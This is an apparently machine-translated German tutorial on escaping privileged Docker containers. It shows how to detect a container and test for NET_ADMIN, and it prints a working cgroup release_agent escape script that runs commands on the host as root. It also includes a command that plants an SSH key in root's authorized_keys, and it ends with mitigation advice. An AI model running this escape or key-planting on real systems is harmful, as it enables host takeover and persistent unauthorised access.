
Docker-privilegierte Container sind Container, die mit einem Flag ausgeführt werden
--privileged
. Im Gegensatz zu normalen Containern haben diese Container Root-Zugriff auf den Host-Computer.
Privilegierte Container werden häufig verwendet, wenn Aufgaben direkten Zugriff auf Hardware erfordern, um Aufgaben auszuführen. Mit privilegierten Docker-Containern können Angreifer jedoch das Hostsystem übernehmen. Heute werden wir sehen, wie Sie einen privilegierten Container verlassen können.
Suchen Sie nach anfälligen Containern
Wie können wir feststellen, dass wir uns in einem privilegierten Container befinden?
Woher weißt du, dass du in einem Container bist?
Cgroups
steht für Kontrollgruppen. Diese Linux-Funktion isoliert die Ressourcennutzung und wird von Docker zum Isolieren von Containern verwendet. Sie können feststellen, ob Sie sich in einem Container befinden, indem Sie die Gruppe des Init-Prozesses in einchecken /proc/1/cgroup
. Wenn Sie sich nicht im Container befinden, lautet die Kontrollgruppe /. Wenn Sie sich in einem Container befinden, sehen Sie stattdessen /docker/CONTAINER_ID
.
Woher wissen Sie, ob ein Container privilegiert ist?
Sobald Sie festgestellt haben, dass Sie sich in einem Container befinden, müssen Sie wissen, ob dieser privilegiert ist. Der beste Weg, dies zu tun, besteht darin, den Befehl auszuführen, der das Flag benötigt,
--privileged
und zu prüfen, ob es funktioniert.
Sie können beispielsweise versuchen,
dummy
mit dem Befehl eine Schnittstelle hinzuzufügen iproute2
. Dieser Befehl erfordert den Zugriff, auf NET_ADMIN
den der Container verfügt, sofern er privilegiert ist.
$ ip link add dummy0 type dummy
Wenn der Befehl erfolgreich ist, können wir daraus schließen, dass der Container über Funktionen verfügt
NET_ADMIN
. Und NET_ADMIN
im Gegenzug ist es Teil eines privilegierten Satzes von Funktionen, und Container, die es nicht haben, sind nicht privilegiert. Sie können den Link dummy0
nach diesem Test mit dem folgenden Befehl entfernen :
ip link delete dummy0
Entkomme aus dem Container
Wie gehen Sie also außerhalb des privilegierten Containers? Das folgende Skript hilft Ihnen hier. Dieses Beispiel und der Proof-of-Concept stammen aus dem Trail of Bits- Blog . Lesen Sie den Originalartikel, um tiefer in das Konzept einzutauchen:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Dieser Proof of Concept verwendet eine Funktion
release_agent
von cgroup
.
Nach Abschluss des letzten Prozesses
cgroup
wird ein Befehl ausgeführt, der die abgebrochene Arbeit entfernt cgroups
. Dieser Befehl wird in einer Datei angegeben release_agent
und im Auftrag des root
Host-Computers ausgeführt. Standardmäßig ist die Funktion deaktiviert und der Pfad release_agent
ist leer.
Dieser Exploit führt Code durch eine Datei
release_agent
. Wir müssen cgroup
die Datei erstellen , angeben release_agent
und starten release_agent
und alle Prozesse in beenden cgroup
. Die erste Zeile beim Testen von Hypothesen erstellt eine neue Gruppe:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Folgendes beinhaltet die Funktion
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Weiter in den nächsten Zeilen wird der Pfad zur Datei registriert
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Dann können Sie mit dem Schreiben in die Befehlsdatei beginnen. Dieses Skript führt den Befehl aus
ps aux
und speichert ihn in einer Datei /output
. Sie müssen auch die Zugriffsbits für das Skript festlegen:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Starten Sie den Angriff schließlich, indem Sie einen Prozess erzeugen, der in der von uns erstellten c-Gruppe sofort beendet wird. Unser Skript
release_agent
wird nach Abschluss des Vorgangs ausgeführt. Jetzt können Sie die Ausgabe ps aux
auf dem Host-Computer in einer Datei lesen /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Mit diesem Konzept können Sie beliebige Befehle auf dem Hostsystem ausführen. Sie können ihn beispielsweise verwenden, um Ihren SSH-Schlüssel in die
authorized_keys
Root-Benutzerdatei zu schreiben :
cat id_dsa.pub >> /root/.ssh/authorized_keys
Einen Angriff verhindern
Wie kann dieser Angriff verhindert werden? Anstatt Containern vollen Zugriff auf das Hostsystem zu gewähren, sollten Sie nur die erforderlichen Berechtigungen erteilen.
Mit den Docker-Funktionen können Entwickler einem Container selektiv Berechtigungen erteilen. Es wird möglich, Berechtigungen, die normalerweise in root gepackt sind
access
, in separate Komponenten aufzuteilen .
Standardmäßig übernimmt Docker alle Berechtigungen aus dem Container und verlangt, dass sie hinzugefügt werden. Sie können Berechtigungen mit den Flags
cap-drop
und entfernen oder hinzufügen cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Anstatt den Container zu geben
root access
, verlassen Sie NET_BIND_SERVICE
ihn beispielsweise, wenn er eine Verbindung zu einem Port unter 1024 herstellen muss. Dieses Flag gibt dem Container die erforderlichen Berechtigungen:
--cap-add NET_BIND_SERVICE
Fazit
Vermeiden Sie nach Möglichkeit Docker-Container mit einem Flag
--privileged
. Privilegierte Container können Angreifern die Möglichkeit geben, den Container zu verlassen und Zugriff auf das Hostsystem zu erhalten. Geben Sie den Containern stattdessen die Berechtigung einzeln mit einem Flag --cap-add
.
Weiterlesen
- Linux-Kernel-Funktionen
- Docker sicher verwenden
- Best Practices für die Sicherheit beim Arbeiten mit privilegierten Containern
- Red Team Tactics: Erweiterte Überwachungstechniken in offensiven Operationen
- Pentest. Penetrationstestpraxis oder "ethisches Hacken". Neuer Kurs von OTUS
Erfahren Sie mehr über den Kurs.